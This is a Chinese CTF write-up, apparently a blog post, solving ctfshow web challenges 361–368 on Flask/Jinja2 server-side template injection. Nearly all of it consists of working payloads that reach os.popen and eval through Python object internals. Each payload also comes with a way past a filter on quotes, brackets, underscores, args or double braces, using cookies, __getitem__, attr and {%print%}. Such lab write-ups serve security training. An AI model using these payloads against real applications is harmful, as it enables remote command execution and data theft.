ctfshow web入门 SSTI注入 web361--web368

web361

这里转载一篇教绕过方法的文章
hint:考点就是题目
传参?name={{2*2}}回显是4,找到漏洞
说实话这里对py不太好的朋友有点不友好,因为payload都是py的
这里用popen方法来执行命令

?name={{config.__class__.__init__.__globals__['os'].popen('more /flag').read()}}
还有其他的写法但是都是利用的popen

{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

web362

上题一样的payload可以用

{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('tac /f*').read()")}}
还是比较简的

web363

这里是把引号过滤了我们可以用

request.args.x

达到目的

?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()&x=().__class__.__bases__[0].__subclasses__()[80]
config的也可以写

web364

禁用了args我们使用cookie
下面payload中的x是jiaja2框架中的特殊类

?name={{x.__init__.__globals__.__builtins__[request.cookies.x1](request.cookies.x2).read()}}
cookies:
x1=open;x2=/flag
这是原句子但是不能执行命令只能看文件内容
?name={{x.__init__.__globals__.__builtins__[open]('/flag').read()}}
这是另外一种写法
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie:
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

?name={{config.__class__.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie:
x1=__builtins__;x2=__import__('os').popen('tac /f*').read()

?name={{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web365

用魔术方法__getitem__来代替方括号
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}

cookie:
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

?name={{config.__class__.__init__.__globals__.__getitem__(request.cookies.x1).popen(request.cookies.x2).read()}}
cookie:
x1=os;x2=tac /f*

?name={{config.__class__.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
cookie:
x1=__builtins__;x2=__import__('os').popen('ls /').read()

web366

过滤了中括号 下划线 单引号 双引号 globals、getitem args
然后使用flask过滤器

?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
cookie:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

?name={{(config|attr(request.cookies.x2)|attr(request.cookies.x3)|attr(request.cookies.x4)|attr(request.cookies.x5))(request.cookies.x1).eval(request.cookies.x6)}}
cookie:
x1=__builtins__;x2=__class__;x3=__init__;x4=__globals__;x5=__getitem__;x6=__import__('os').popen('ls /').read();
""|attr("__class__")
相当于
"".__class__
然后为什么要使用管道符 | 呢,主要就是用来拼接多个命令,然后执行
至于为什么要加给x这一块加括号呢,我觉得其实之前的那些命令都可以加上就能理解了,方便看

web367

上题一样的payload

web368

把双花括号过滤

使用{%print()%}绕过
?name={%print((x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5))%}
cookie:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值